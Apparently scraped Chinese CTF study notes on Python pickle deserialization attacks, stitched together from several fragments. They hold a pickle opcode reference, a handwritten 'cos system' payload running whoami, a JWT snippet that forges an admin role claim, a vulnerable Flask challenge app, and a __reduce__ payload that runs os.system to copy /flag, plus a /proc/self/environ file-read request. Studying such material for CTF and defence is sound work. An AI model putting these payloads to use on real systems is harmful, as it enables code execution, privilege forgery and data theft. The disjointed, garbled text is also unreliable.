P = pickle.loads(opcode) # 将一串二进制字节流反序列化为一个Person对象 //这个就是一个序列化的过程 print('The age is:' + str(P.age), 'The name is:' + P.name) # 结果如下 # The age is:18 The name is:Pickle
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈 o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 N 实例化一个None N 获得的对象入栈 S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈 V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 I 实例化一个int对象 Ixxx\n 获得的对象入栈 F 实例化一个float对象 Fx.x\n 获得的对象入栈 R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 . 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 ( 向栈中压入一个MARK标记 ( MARK标记入栈 t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 ) 向栈中直接压入一个空元组 ) 空元组入栈 l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 ] 向栈中直接压入一个空列表 ] 空列表入栈 d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 } 向栈中直接压入一个空字典 } 空字典入栈 p 将栈顶对象储存至memo_n pn\n 无 g 将memo_n的对象压栈 gn\n 对象被压栈 0 丢弃栈顶对象 0 栈顶对象被丢弃 b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
""" cos system c表示import 一个模块中的函数并作为对象压栈 (S'whoami' (表示向栈中压入一个Mark标记,S表示实例化一个whoami字符串对象并压栈 tR. t表示寻找栈中的上一个MARK,并组合之间的数据为元组,获得对象压栈。 R表示选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,函数的返回值入栈。 .表示程序结束,栈顶的一个元素作为pickle.loads()的返回值 """ pickle.loads(opcode) #xxx\21609
def load_build(self): stack = self.stack state = stack.pop() #首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict inst = stack[-1] #获取该字典中键名为"__setstate__"的value setstate = getattr(inst, "__setstate__", None) #如果存在,则执行value(state) if setstate is not None: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state #如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并 if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v else: inst_dict[k] = v #如果__setstate__和__getstate__都没有设置,则加载默认__dict__ if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD[0]] = load_build
def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
from datetime import timedelta from json import loads, dumps # from common import generated_keys import python_jwt as jwt from pyvows import Vows, expect from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) print(parsed_payload) parsed_payload['role'] = "admin" print(parsed_payload) fake_payload = base64url_encode( (dumps(parsed_payload, separators=(',', ':')))) print (header+ '.' +fake_payload+ '.' +signature) # print (header+ '.' + payload+ '.' +signature) a = header+ '.' +fake_payload+ '.' +signature
#!/usr/bin/python3.6 import os import pickle from base64 import b64decode from flask import Flask, request, render_template, session app = Flask(__name__) app.config["SECRET_KEY"] = "*******" User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, }) @app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js" @app.route('/file', methods=('GET',)) def file_handler(): path = request.args.get('file') path = os.path.join('static', path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open(path, 'r') as fp: content = fp.read() return content @app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict): u = b64decode(u.get('b')) u = pickle.loads(u) except Exception: return 'uhh?' if u.is_admin == 1: return 'welcome, admin' else: return 'who are you?' if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)
一进去的那个提醒,很明显是一个任意文件读取的问题 读一下环境变量
1
file?file=/proc/self/environ
上面的是不是都弄错了,很多脚本是要在服务器端执行,并且
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import os import pickle from base64 import b64encode User = type('User', (object,), { 'uname': 'tyskill', 'is_admin': 0, '__repr__': lambda o: o.uname, '__reduce__': lambda o: (os.system, ("cat /flag>/test2",)) }) u = pickle.dumps(User()) print(b64encode(u).decode()) #这个脚本也要在kali下运行!!!